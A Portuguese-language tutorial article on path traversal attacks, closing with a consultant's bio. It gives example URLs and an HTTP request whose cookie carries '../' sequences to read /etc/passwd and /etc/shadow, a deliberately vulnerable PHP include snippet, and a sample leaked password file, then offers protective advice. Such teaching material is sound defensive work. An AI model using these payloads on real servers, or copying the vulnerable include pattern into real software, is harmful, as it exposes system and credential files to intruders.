O ataque de Path Transversal tem o objetivo de acessar arquivos e diretórios que estão armazenados fora do diretório utilizado pela aplicação (Webroot).
Acessando a aplicação pelo browser o atacante pode olhar os links absolutos para arquivos armazenados no Web Server. Manipulando as variáveis que referencia os arquivos utilizando “dot-dot-slash (../)” utilizando diferentes seqüências e variações podem permitir acesso arbitrário a arquivos e diretórios no file system, incluindo código fonte da aplicação, arquivos críticos e de configuração do sistema operacional entre outros. Utilizando “../” o atacante consegue direcionar a aplicação para diretórios acima do diretório padrão.
Este ataque pode ser potencializado como veremos abaixo utilizando um código malicioso externo que pode ser injetado diretamente como variável na aplicação, sendo este ataque conhecido também como RFI (Remote File Injection). Este tipo de vulnerabilidade pode ser detectada facilmente utilizando scripts chamados de Spider/Crawler.
Vejamos abaixo dois exemplos clássicos desta falha.
Exemplo 1
O exemplo abaixo mostra como uma aplicação manipula recursos em uso.
http://site/get-files.jsp?file=report.pdf
http://site/get-page.php?home=aaa.html
http://site/some-page.asp?page=index.html
Neste exemplo é possível inserir a string maliciosa como parâmetro da variável a fim de acessar arquivos localizados fora do diretório onde estão publicados os arquivos web.
http://site/get-files?file=../../../../diretorio/arquivo
http://site/../../../../diretorio/arquivo
A URL abaixo mostra como explorar um sistema Unix para pegar seu arquivo de senhas.
http://site/../../../../etc/shadow
http://site/get-files?file=/etc/passwd
Exemplo 2
Vejamos um exemplo clássico de aplicação em PHP vulnerável.
$template = 'blue.php';
if ( is_set( $_COOKIE['TEMPLATE'] ) )
$template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpconf/templates/" . $template );
?>
Um atacante pode explorar esta vulnerabilidade enviando a seguinte requisição HTTP:
GET /vulneravel.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Gerando uma resposta do servidor como esta:
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpconf:f8fk3j1OIf31.:182:100:Developer:/home/users/phpconf/
:/bin/csh
A repetição dos caracteres ../ apos /home/users/phpconf/templates fez com que a função include() fizesse o include do arquivo /etc/passwd.
Como proteger sua aplicação:
• Preferivelmente trabalhe sem utilizar inputs de usuários na aplicação quando você utilizar file system calls
• Use chroot Jail e políticas de code Access para restringir onde os arquivos podem ser obtidos ou salvos em sua aplicação
• Sanitize todas as variáveis que sua aplicação utiliza impedindo assim que caracteres de escape maliciosos sejam indexados e processados
Diretor de Operações da In2Sec (Itelligence to Security), é formado em Análise de Sistemas com MBA em Gestão de Riscos, atuou em diversas empresas nacionais e multinacionais, no Brasil e exterior. Especialista em Gestão de Riscos e Segurança da Informação, é responsável pelas operações das Américas da Certificadora TrustSign e das Consultorias de Segurança e-Horus e A.